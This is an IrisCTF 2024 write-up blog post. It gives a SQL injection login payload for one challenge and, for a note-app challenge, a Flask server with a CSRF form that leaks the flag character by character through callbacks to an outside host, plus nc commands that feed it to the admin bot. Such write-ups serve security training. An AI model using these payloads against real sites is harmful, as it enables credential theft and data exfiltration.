IrisCTF

Posted on Feb 5, 2024

What’s My Password

sql injection

{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}

LameNote

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.

lamenote.tar.gz

lamenote-adminbot.tar.gz

maybe https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks

trying…

there is always response 200, so seems like not this

Got idea: In our resourse need make bot to create a new note with content irisctf{a and with img url to any webhook, then in iframe open the /search?query=irisctf{a

  • if there is only our note matches then server will open our note and request to our webhook
  • if there is more than 1 note with “irisctf{a” then response will be just urls of notes, no request to webhook, so we can extract the symbol of flag
from flask import Flask, make_response, request

from flask_cors import CORS

app = Flask(__name__)
CORS(app)
callbacks = []
temp = """
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <iframe name="test" style="display:none;"></iframe>
    <iframe name="test2" style="display:none;"></iframe>
    <form action="<https://lamenote-web.chal.irisc.tf/create>" method="POST" target="test">
      <input type="hidden" name="title" value="Flag" />
      <input type="hidden" name="text" value="irisctf&#123;{}" />
      <input type="hidden" name="image" value="https&#58;&#47;&#47;edu&#46;ghost1032&#46;top/callback&#63;callback&#61;{}&index={}" />
      <input type="submit" value="Submit request" />
    </form>
    
    <form action="<https://lamenote-web.chal.irisc.tf/search>" method="GET" target="test2">
        <input type="hidden" name="query" value="irisctf&#123;{}"/>
        <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
      document.forms[1].submit();
    </script>
  </body>
</html>

"""
@app.route('/leak/<i>/<string>')
def index(i,string):
    return make_response(temp.format(string, string, i , string))

@app.route('/callback')
def cb():
    cb = request.args.get('callback') 
    index = int(request.args.get('index'))
    if len(callbacks) <= index:
        callbacks.append({})
    if cb in callbacks[index]:
        callbacks[index][cb] += 1
    else:
        callbacks[index][cb] = 1
    print(callbacks)
    return make_response('')

@app.route('/result')
def result():
    index = int(request.args.get('index'))
    if index >= len(callbacks):
        return make_response('Nope')
    return make_response(str(callbacks[index]))

app.run(debug=True, port=48080)

example:

echo “https://edu.ghost1032.top/leak/0/pz" | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 would have 2 callback requests

while

echo “https://edu.ghost1032.top/leak/0/pl" | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 only has 1 callback request.

You should try a couple of times for every char, since Sorry if the timeout is a bit broken on this challenge

And that’s why I don’t have a working full-automatic exp :(

Maybe we can solve the issue by making multiple tries for every char.

I made some exploit, trying now …

irisctf{please_no_more_unintended_bugs}